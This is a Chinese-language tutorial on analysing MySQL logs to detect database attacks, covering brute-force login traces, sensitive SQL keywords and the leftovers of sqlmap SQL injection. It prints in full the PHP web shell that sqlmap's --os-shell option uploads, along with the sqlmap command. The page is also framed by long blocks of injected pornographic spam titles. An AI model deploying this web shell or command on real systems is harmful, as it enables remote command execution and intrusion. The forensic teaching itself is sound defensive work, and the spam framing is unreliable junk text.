gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区

站長資訊網
最全最豐富的資訊網站

如何對數據庫日志進行分析

如何對數據庫日志進行分析

常見的數據庫攻擊包括弱口令、SQL注入、提升權限、竊取備份等。對數據庫日志進行分析,可以發現攻擊行為,進一步還原攻擊場景及追溯攻擊源。

一、Mysql日志分析

general query log能記錄成功連接和每次執行的查詢,我們可以將它用作安全布防的一部分,為故障分析或黑客事件后的調查提供依據。

1、查看log配置信息

show variables like '%general%';

2、開啟日志

SET GLOBAL general_log = 'On';

3、指定日志文件路徑

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

比如,當我訪問 /test.php?id=1,此時我們得到這樣的日志:

190604 14:46:14       14 Connect    root@localhost on                       14 Init DB    test                          14 Query    SELECT * FROM admin WHERE id = 1                            14 Quit

我們按列來解析一下:

第一列:Time,時間列,前面一個是日期,后面一個是小時和分鐘,有一些不顯示的原因是因為這些sql語句幾乎是同時執行的,所以就不另外記錄時間了。

第二列:Id,就是show processlist出來的第一列的線程ID,對于長連接和一些比較耗時的sql語句,你可以精確找出究竟是那一條那一個線程在運行。

第三列:Command,操作類型,比如Connect就是連接數據庫,Query就是查詢數據庫(增刪查改都顯示為查詢),可以特定過慮一些操作。

第四列:Argument,詳細信息,例如 Connect root@localhost on 意思就是連接數據庫,如此類推,接下面的連上數據庫之后,做了什么查詢的操作。

二、登錄成功/失敗

我們來做個簡單的測試吧,使用我以前自己開發的弱口令工具來掃一下,字典設置比較小,2個用戶,4個密碼,共8組。

如何對數據庫日志進行分析

MySQL中的log記錄是這樣子:

Time                 Id        Command         Argument 190601 22:03:20     98 Connect  root@192.168.204.1 on         98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)               103 Connect  mysql@192.168.204.1 on                103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)               104 Connect  mysql@192.168.204.1 on                104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)               100 Connect  root@192.168.204.1 on                101 Connect  root@192.168.204.1 on                101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)                99 Connect  root@192.168.204.1 on                 99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)               105 Connect  mysql@192.168.204.1 on                105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)               100 Query  set autocommit=0               102 Connect  mysql@192.168.204.1 on                102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)               100 Quit

你知道在這個口令猜解過程中,哪個是成功的嗎?

利用爆破工具,一個口令猜解成功的記錄是這樣子的:

190601 22:03:20     100 Connectroot@192.168.204.1 on    100 Queryset autocommit=0       100 Quit

但是,如果你是用其他方式,可能會有一點點不一樣的哦。

Navicat for MySQL登錄:

190601 22:14:07  106 Connectroot@192.168.204.1 on                   106 QuerySET NAMES utf8          106 QuerySHOW VARIABLES LIKE 'lower_case_%'                   106 QuerySHOW VARIABLES LIKE 'profiling'                   106 QuerySHOW DATABASES

命令行登錄:

190601 22:17:25  111 Connectroot@localhost on          111 Queryselect @@version_comment limit 1          190601 22:17:56  111 Quit

這個差別在于,不同的數據庫連接工具,它在連接數據庫初始化的過程中是不同的。通過這樣的差別,我們可以簡單判斷出用戶是通過連接數據庫的方式。

另外,不管你是爆破工具、Navicat for MySQL、還是命令行,登錄失敗都是一樣的記錄。

登錄失敗的記錄:

102 Connect  mysql@192.168.204.1 on  102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

利用shell命令進行簡單的分析:

有哪些IP在爆破?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr      27 192.168.204.1

爆破用戶名字典都有哪些?

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort - nr     13 mysql     12 root      1 root      1 mysql

在日志分析中,特別需要注意一些敏感的操作行為,比如刪表、備庫,讀寫文件等。

關鍵詞:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感數據庫表:SELECT * from mysql.user、SELECT * from mysql.func

三、SQL注入入侵痕跡

在利用SQL注入漏洞的過程中,我們會嘗試利用sqlmap的–os-shell參數取得shell,如操作不慎,可能留下一些sqlmap創建的臨時表和自定義函數。我們先來看一下sqlmap os-shell參數的用法以及原理:

1、構造一個SQL注入點,開啟Burp監聽8080端口

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

HTTP通訊過程如下:

如何對數據庫日志進行分析

創建了一個臨時文件tmpbwyov.php,通過訪問這個木馬執行系統命令,并返回到頁面展示。

tmpbwyov.php: <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>`

創建了一個臨時表sqlmapoutput,調用存儲過程執行系統命令將數據寫入臨時表,然后取臨時表中的數據展示到前端。

通過查看網站目錄中最近新建的可疑文件,可以判斷是否發生過sql注入漏洞攻擊事件。

檢查方法:

1、檢查網站目錄下,是否存在一些木馬文件:

如何對數據庫日志進行分析

2、檢查是否有UDF提權、MOF提權痕跡

檢查目錄是否有異常文件

mysqllibpluginc:/windows/system32/wbem/mof/

檢查函數是否刪除

select * from mysql.func

3、結合web日志分析。

推薦教程:web服務器安全

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区
久久人妻无码一区二区| 东北少妇不带套对白| 肉大捧一出免费观看网站在线播放 | av在线播放天堂| mm131午夜| 青青草综合在线| 欧美日韩激情四射| 你真棒插曲来救救我在线观看| 久久久久久久久网| 日本久久久网站| 久久久性生活视频| 国产精品欧美激情在线观看| 久热免费在线观看| 日本三级黄色网址| 波多野结衣激情| 精品成在人线av无码免费看| 国产免费黄色av| 少妇网站在线观看| 四虎4hu永久免费入口| 日韩中文字幕在线免费| 国产一区二区三区精彩视频| 在线观看免费成人av| 拔插拔插华人永久免费| 国产av熟女一区二区三区 | 青青青在线观看视频| 欧美 日韩 国产一区| 中文字幕成人在线视频| 2022中文字幕| 国产wwwxx| a级免费在线观看| www.色就是色| 91网站在线观看免费| 无限资源日本好片| 成人免费观看在线| 亚洲a级黄色片| 人妻久久久一区二区三区| 欧美成人福利在线观看| 久久久久久久9| 午夜免费一级片| 成人一区二区三| www.国产在线视频| 香蕉精品视频在线| www国产黄色| 你真棒插曲来救救我在线观看| 日韩高清第一页| 成人在线激情网| 日韩精品xxxx| 日韩伦理在线免费观看| 色哺乳xxxxhd奶水米仓惠香| 精品久久久久久久无码| 国产h视频在线播放| 在线成人免费av| 亚洲综合av在线播放| 国产又黄又猛视频| 99热成人精品热久久66| 老子影院午夜伦不卡大全| 欧美专区第二页| 999热精品视频| 韩国一区二区在线播放| 一级淫片在线观看| 午夜免费一级片| 在线无限看免费粉色视频| 在线观看免费污视频| 亚洲黄色小视频在线观看| 日本www.色| 亚洲 激情 在线| 91亚洲免费视频| 97超碰人人看| 法国空姐在线观看免费| 欧美aaa在线观看| 黄网站色视频免费观看| 国产乱子伦精品无码专区| 免费特级黄色片| 人人妻人人添人人爽欧美一区| 亚洲精品蜜桃久久久久久| 日韩精品综合在线| 久久久久久久久久久视频| 国产午夜福利视频在线观看| 日本成人中文字幕在线| 久热在线视频观看| 免费成人进口网站| 欧美精品久久久久久久自慰| av观看免费在线| 中文字幕线观看| 久久这里只有精品18| 人妻无码视频一区二区三区| 无码内射中文字幕岛国片| 一级片视频免费观看| 一级黄色录像免费看| 人人干视频在线| 亚洲欧美偷拍另类| 妺妺窝人体色www看人体| 欧美黄网站在线观看| 天美一区二区三区| 国产中文字幕在线免费观看| 国产自偷自偷免费一区| 免费成人深夜夜行网站视频| 欧美成人三级在线视频| 日本中文字幕观看| 人妻久久久一区二区三区| 亚洲va在线va天堂va偷拍| 国产 欧美 日本| av亚洲天堂网| 成人小视频在线看| 欧美乱做爰xxxⅹ久久久| 黑森林精品导航| 波多野结衣之无限发射| 欧美一级黄色录像片| 8x8x最新地址| www一区二区www免费| 日本丰满大乳奶| 国产日韩欧美久久| 97视频在线免费播放| 日本三级中文字幕在线观看| 国产精品v日韩精品v在线观看| 蜜桃传媒一区二区三区| 亚洲国产一二三精品无码| 高潮一区二区三区| 午夜dv内射一区二区| 日韩少妇内射免费播放18禁裸乳| 自拍偷拍视频在线| 日本一二三四区视频| 久久99爱视频| 中文字幕 91| 黄大色黄女片18第一次| 69久久久久久| 我看黄色一级片| 波多野结衣天堂| 亚洲第一中文av| www.日本一区| 视频区 图片区 小说区| 中文字幕第三区| 91看片淫黄大片91| 日本中文字幕一级片| 拔插拔插海外华人免费| 亚洲理论电影在线观看| 热99这里只有精品| 成年人观看网站| 五月天激情视频在线观看| 色片在线免费观看| 99精品999| 国产精品无码电影在线观看 | 精品人妻一区二区三区四区在线 | 懂色av粉嫩av蜜臀av| 一本二本三本亚洲码 | 日本新janpanese乱熟| 四季av一区二区| 国产精品中文久久久久久| 久久精品在线免费视频| 国产人妻777人伦精品hd| av观看免费在线| 中文字幕国产高清| 999在线观看视频| 99视频在线视频| 男女爱爱视频网站| 成人黄色片视频| 国产又爽又黄ai换脸| 国产h视频在线播放| 中文字幕 91| 国产av人人夜夜澡人人爽麻豆| 久久精品99国产| 99久久99精品| 精品国产成人av在线免| 男人午夜视频在线观看| 2019日韩中文字幕mv| 妺妺窝人体色www在线观看| 久久久久亚洲av无码专区喷水| 青青艹视频在线| 中文字幕第一页在线视频| 霍思燕三级露全乳照| 欧洲美女亚洲激情| 日韩av播放器| 欧美乱大交xxxxx潮喷l头像| 久热精品在线播放| 亚洲中文字幕无码中文字| 2021狠狠干| 亚洲制服中文字幕| 99免费视频观看| 日韩欧美国产免费| 黄色成人在线免费观看| 成人av毛片在线观看| 免费男同深夜夜行网站| 青青草精品视频在线| 久久观看最新视频| 小早川怜子一区二区三区| 一级黄色香蕉视频| 日韩精品一区中文字幕| 日本少妇高潮喷水视频| 国产精品入口芒果| 中国丰满熟妇xxxx性| 欧美三级午夜理伦三级老人| 国产精品999.| 久久久福利影院| 老司机av福利| 天天做天天爱天天高潮| 99亚洲精品视频| 日本三日本三级少妇三级66| 黄色网址在线免费看| 麻豆视频传媒入口| 无码人妻精品一区二区蜜桃百度|